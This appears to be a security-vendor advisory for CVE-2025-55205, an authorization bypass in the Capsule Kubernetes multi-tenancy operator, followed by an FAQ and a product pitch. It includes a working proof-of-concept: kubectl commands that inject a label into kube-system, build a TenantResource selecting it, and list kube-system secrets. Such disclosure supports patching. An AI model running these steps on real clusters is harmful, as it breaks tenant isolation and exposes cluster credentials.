CVE-2025-55205

Capsule tenant owners with "patch namespace" permission can hijack system namespaces label

if label, ok := ns.Labels[ln]; ok {
    // Only checks permissions when namespace has tenant label
    if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) {
        response := admission.Denied(e)
        return &response
    }
}

return nil  // Critical issue: allows operation if no tenant label exists

Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access

# Install Minikube and Capsule
minikube start
helm repo add projectcapsule https://projectcapsule.github.io/charts
helm install capsule projectcapsule/capsule -n capsule-system --create-namespace

# Create tenant and user
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF

# Create user certificate and kubeconfig (using provided script)
./create-user-minikube.sh alice tenant1

# Switch to attacker context
export KUBECONFIG=alice-tenant1.kubeconfig

# Inject malicious labels into system namespaces
kubectl patch namespace kube-system --type='json' -p='[
  {
    "op": "add",
    "path": "/metadata/labels/malicious-label",
    "value": "attack-value"
  }
]'

# Verify injection success
kubectl get namespace kube-system --show-labels

# Create attacker-controlled namespace
kubectl create namespace alice-attack

# Create malicious TenantResource targeting injected labels
cat <<EOF | kubectl apply -f -
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: malicious-resource
  namespace: alice-attack
spec:
  resyncPeriod: 60s
  resources:
  - namespaceSelector:
      matchLabels:
        malicious-label: "attack-value"
EOF

# Verify cross-tenant access
kubectl get tenantresource -n alice-attack malicious-resource -o yaml

# Check if system namespace resources are now accessible
export KUBECONFIG=~/.kube/config
kubectl get namespaces -l "malicious-label=attack-value"
# Output shows: kube-system (and potentially other injected namespaces)

# Check for potential resource replication/access
kubectl get all -n kube-system
kubectl get secrets -n kube-system
kubectl get configmaps -n kube-system

Vulnerability Type: Authorization Bypass / Privilege Escalation

Who is Impacted:

• Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions
• Organizations relying on Capsule for tenant isolation and resource governance
• Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy

Security Impact:

1. Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces
2. Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components
3. Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces
4. Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries
5. Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions

Real-world Exploitation Scenarios:

• Access to kube-system secrets containing cluster certificates and service account tokens
• Modification or replication of critical system configurations
• Cross-tenant data access in shared clusters
• Potential cluster-wide compromise through system namespace access

Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2025-55205 has a CVSS score of 9.0 (Critical). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.10.4); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2025-55205? CVE-2025-55205 is a critical-severity incorrect authorization vulnerability in github.com/projectcapsule/capsule (go), affecting versions < 0.10.4. It is fixed in 0.10.4. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2025-55205? CVE-2025-55205 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/projectcapsule/capsule are affected by CVE-2025-55205? github.com/projectcapsule/capsule (go) versions < 0.10.4 is affected.
4. Is there a fix for CVE-2025-55205? Yes. CVE-2025-55205 is fixed in 0.10.4. Upgrade to this version or later.
5. Is CVE-2025-55205 exploitable, and should I be worried? Whether CVE-2025-55205 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-55205 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-55205? Upgrade github.com/projectcapsule/capsule to 0.10.4 or later.

Other vulnerabilities in github.com/projectcapsule/capsule